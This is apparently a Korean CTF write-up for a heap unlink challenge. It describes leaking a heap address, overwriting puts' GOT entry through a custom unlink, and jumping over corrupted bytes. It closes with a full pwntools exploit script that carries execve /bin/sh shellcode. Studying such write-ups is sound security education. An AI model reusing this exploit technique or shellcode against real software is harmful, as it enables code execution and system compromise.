chal1-heap unlink
heap unlink문제-chal1
기존에 풀었던 chal1과는 다른 문제!
heap문제이고 unlink는 직접 구현되어 있다.
heap주소를 출력해줘서 릭 가능하다
힙에 쉘코드를 넣어놓고,
puts의 got에 쉘코드의 주소를 넣어주면 된다!
근데, 여기서 문제는 unlink과정에서
주소가 덮어진다는 것이다!
1 prev_size size(0x21) data: 2의 주소
2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소
3 prev_size size data: 0 2의 주소
2의 주소를 인자로 받는다!
unlink에서!
2의 데이터를 v1에(3의 주소)
2의 데이터+8을 v2에(1의 주소)
[v1+8]<-v2
[v2]<-v1
v1에는 got-8의 주소를 넣어주고
v2에는 쉘코드 주소를 넣는다!
쉘코드는 jmp
stack과 heap모두에 rwxp권한이 있다!
힙주소 릭 가능!
힙에 쉘코드를 넣어준다!
puts got에 쉘코드 주소를 넣어준다!
v2에는 puts의 got주소를 넣어주고, v1에는 쉘코드의 주소를 넣는다.
v1+8이 망가지므로!
쉘코드 앞부분에 v1+8을 뛰어넘을 수 있도록 jmp 옵코드를 넣어준다!
from pwn import *
got=0x601018
jmp="\xe9\x0b\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s=process('./chal1')
#raw_input()
heap=s.recv(1024)[2:9]
heap=int(heap,16)
payload="a"*8+"b"*8
payload+=p64(heap+48)
payload+=p64(got)
payload+=jmp+shellcode
s.send(payload+'\n')
s.interactive()
s.close()